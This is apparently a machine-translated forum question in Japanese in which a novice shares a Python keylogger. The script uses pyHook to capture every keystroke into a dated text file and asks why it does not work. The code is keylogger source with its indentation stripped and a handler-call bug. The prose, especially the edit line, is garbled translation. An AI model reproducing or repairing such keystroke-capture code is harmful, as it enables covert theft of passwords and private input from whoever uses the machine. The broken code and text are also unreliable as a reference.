1
私はちょうどPythonでプログラミングを始めました。私の最初の "プロジェクト"はキーロガーです。私はここや他のフォーラムに掲載されたコードをいくつか読んだ。私はこのコードを書きました。これは、押されたキーを記録し、Enterキーが押されるたびに.txtファイル内で新しい行を開始する必要があります。誰かに私に助言をお願いしますか?いくつかの機能を備えたPython Keylogger
import pythoncom, pyHook
from datetime import datetime
date_today = datetime.now().strftime('%Y-%b-%d')
file_log = 'C:\\Users\\admin\\Desktop\\Python\\logs\\'+date_today+'.txt'
def OnKeyboardEvent(event):
if event.Ascii:
log = open(file_log,"a")
char = chr(event.Ascii)
if event.Ascii == 13:
log.write('\n')
log.write(char)
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent()
hm.HookKeyboard()
pythoncom.PumpMessages()
ありがとうございました!
編集:ファイルがありません新しいプロセスとして、開始またはファイルをログに記録していないようだが、スタート
アドバイスは何ですか?何か動作していないのですか? – TigerhawkT3